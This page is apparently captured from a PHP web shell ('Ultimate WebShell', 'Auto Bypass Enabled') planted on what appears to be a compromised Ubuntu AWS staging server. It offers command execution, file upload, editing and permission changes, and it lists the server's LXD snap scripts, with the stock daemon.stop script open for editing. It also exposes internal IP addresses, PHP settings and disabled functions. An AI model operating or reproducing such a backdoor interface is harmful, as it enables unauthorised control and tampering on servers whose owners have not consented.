WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
lxd
38688
commands
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-03-27 11:19:53
-
buginfo
File
2.21 KB
0755
2026-03-27 10:37:42
daemon.activate
File
3.58 KB
0755
2026-03-27 10:37:42
daemon.reload
File
301 B
0755
2026-03-27 10:37:42
daemon.start
File
21.98 KB
0755
2026-03-27 10:37:42
daemon.stop
File
4.64 KB
0755
2026-03-27 10:37:42
lxc
File
1.79 KB
0755
2026-03-27 10:37:42
lxc-to-lxd
File
554 B
0755
2026-03-27 10:37:42
lxd
File
1.29 KB
0755
2026-03-27 10:37:42
lxd-benchmark
File
715 B
0755
2026-03-27 10:37:42
lxd-check-kernel
File
232 B
0755
2026-03-27 10:37:42
lxd-migrate
File
1.4 KB
0755
2026-03-27 10:37:42
refresh
File
154 B
0755
2026-03-27 10:37:42
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: daemon.stop
#!/bin/sh set -eu # Re-exec outside of apparmor confinement if [ -d /sys/kernel/security/apparmor ] && [ "$(cat /proc/self/attr/current)" != "unconfined" ]; then exec aa-exec -p unconfined -- "$0" "$@" fi export LXD_DIR="${SNAP_COMMON}/lxd/" PID=$(cat "${SNAP_COMMON}/lxd.pid" || true) # FIXME: Detect stop reason # This should be exposed by snapd directly STATUS=$(snap-query /run/snapd.socket lxd 2>/dev/null || true) reason="host shutdown" if [ -s "${SNAP_COMMON}/state" ]; then reason="$(cat "${SNAP_COMMON}/state")" elif [ "${STATUS}" = "auto-refresh" ]; then reason="snap refresh" elif [ "${STATUS}" = "refresh-snap" ]; then reason="snap refresh" elif [ "${STATUS}" = "install-snap" ]; then reason="snap refresh" elif [ "${STATUS}" = "remove-snap" ]; then reason="snap removal" fi echo "=> Stop reason is: ${reason}" # Handle lxd shutdown if [ "${reason}" = "shutdown" ]; then exit 0 fi # Handle reloads and crashes if [ "${reason}" = "reload" ] || [ "${reason}" = "crashed" ]; then exit 0 fi # Handle refreshes if [ "${reason}" = "snap refresh" ]; then echo "=> Stopping LXD" if [ -n "${PID}" ] && kill -0 "${PID}" 2>/dev/null; then if ! kill "${PID}"; then echo "==> Failed to signal LXD to exit" fi DEAD=0 # shellcheck disable=SC2034 for i in $(seq 320); do if ! kill -0 "${PID}" 2>/dev/null; then DEAD=1 echo "==> Stopped LXD" break fi sleep 1 done if [ "${DEAD}" = "0" ]; then echo "==> Forcefully stopping LXD after 5 minutes wait" if kill -9 "${PID}" 2>/dev/null; then echo "==> Stopped LXD" else echo "==> Failed to stop LXD" fi fi fi exit 0 fi # Shutdown the daemons ## LXD echo "=> Stopping LXD (with container shutdown)" echo host-shutdown > "${SNAP_COMMON}/state" if [ -n "${PID}" ] && kill -0 "${PID}" 2>/dev/null; then if ! kill -30 "${PID}"; then echo "==> Failed to signal LXD to shutdown" fi DEAD=0 # shellcheck disable=SC2034 for i in $(seq 540); do if ! kill -0 "${PID}" 2>/dev/null; then DEAD=1 echo "==> Stopped LXD" break fi sleep 1 done if [ "${DEAD}" = "0" ]; then echo "==> Forcefully stopping LXD after 9 minutes wait" if kill -9 "${PID}" 2>/dev/null; then echo "==> Stopped LXD" else echo "==> Failed to stop LXD" fi fi fi ## OpenVswitch if [ -e "${SNAP_COMMON}/openvswitch/run/ovs-vswitchd.pid" ]; then PID=$(cat "${SNAP_COMMON}/openvswitch/run/ovs-vswitchd.pid") if [ -n "${PID}" ] && kill -0 "${PID}" 2>/dev/null; then ( echo "=> Stopping Open vSwitch" set -e export OVS_LOGDIR="${SNAP_COMMON}/openvswitch/logs/" export OVS_RUNDIR="${SNAP_COMMON}/openvswitch/run/" export OVS_DBDIR="${SNAP_COMMON}/openvswitch/db/" export OVS_SYSCONFDIR="${SNAP_COMMON}/openvswitch/conf/" export OVS_PKGDATADIR="${SNAP}/share/openvswitch/" export OVS_BINDIR="${SNAP}/bin/" export OVS_SBINDIR="${SNAP}/bin/" if "${SNAP}/share/openvswitch/scripts/ovs-ctl" stop; then echo "==> Stopped Open vSwitch" else echo "==> Failed to stop Open vSwitch" fi ) fi fi ## LXCFS if [ -e "${SNAP_COMMON}/lxcfs.pid" ]; then echo "=> Stopping LXCFS" PID=$(cat "${SNAP_COMMON}/lxcfs.pid") if [ -n "${PID}" ] && kill -0 "${PID}" 2>/dev/null; then if ! kill "$PID"; then echo "==> Failed to signal LXCFS to stop" fi DEAD=0 # shellcheck disable=SC2034 for i in $(seq 30); do if ! kill -0 "${PID}" 2>/dev/null; then DEAD=1 echo "==> Stopped LXCFS" break fi sleep 1 done if [ "${DEAD}" = "0" ]; then echo "==> Forcefully stopping LXCFS after 30 seconds wait" if kill -9 "${PID}" 2>/dev/null; then echo "==> Stopped LXCFS" else echo "==> Failed to stop LXCFS" fi fi fusermount -u "${SNAP_COMMON}/var/lib/lxcfs" >/dev/null 2>&1 || true fi fi ## Cleanup echo "=> Cleaning up PID files" rm -f "${SNAP_COMMON}/lxcfs.pid" "${SNAP_COMMON}/lxd.pid" ## Flush our shared namespace from the host echo "=> Cleaning up namespaces" nsenter -t 1 -m umount -l /var/snap/lxd/common/ns 2>/dev/null || true echo "=> All done" exit 0
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED